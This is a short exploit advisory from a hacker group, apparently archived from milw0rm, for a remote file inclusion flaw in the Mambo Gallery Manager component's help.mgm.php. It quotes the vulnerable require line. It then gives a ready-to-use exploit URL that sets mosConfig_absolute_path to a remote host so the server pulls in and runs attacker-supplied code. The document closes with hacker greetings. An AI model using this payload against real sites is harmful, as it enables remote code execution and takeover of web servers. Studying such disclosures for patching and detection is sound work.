28 lines
No EOL
1.3 KiB
Text
28 lines
No EOL
1.3 KiB
Text
----------------------------------------------------
|
|
Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities
|
|
----------------------------------------------------
|
|
Discovered By A-S-T TEAM
|
|
WE ARE CrAsH_oVeR_rIdE & BLACK-CODE & MR-HCR
|
|
----------------------------------------------------
|
|
site of script:http://mamboxchange.com/frs/?group_id=175&release_id=1289
|
|
----------------------------------------------------
|
|
Vulnerable: Mambo Gallery Manager v095.r3(mgm)
|
|
----------------------------------------------------
|
|
vulnerable file :
|
|
------------------
|
|
help.mgm.php
|
|
----------------------------------------------------
|
|
vulnerable code:
|
|
----------------------------------------------------
|
|
require $mosConfig_absolute_path .
|
|
"/administrator/components/com_mgm/diagnostics.mgm.php";
|
|
$mosConfig_absolute_path File inclusion
|
|
----------------------------------------------------
|
|
Exploit:
|
|
http://www.example.com/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=http://evalcode.txt
|
|
----------------------------------------------------------------------------------------------------
|
|
Discovered By A-S-T TEAM
|
|
Site:www.lezr.com
|
|
Greetz:KING-HACKER,YOUNG_HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,ALMOKAN3,Broken-proxy,troq AND ALL LEZR.COM Member
|
|
|
|
# milw0rm.com [2006-07-28] |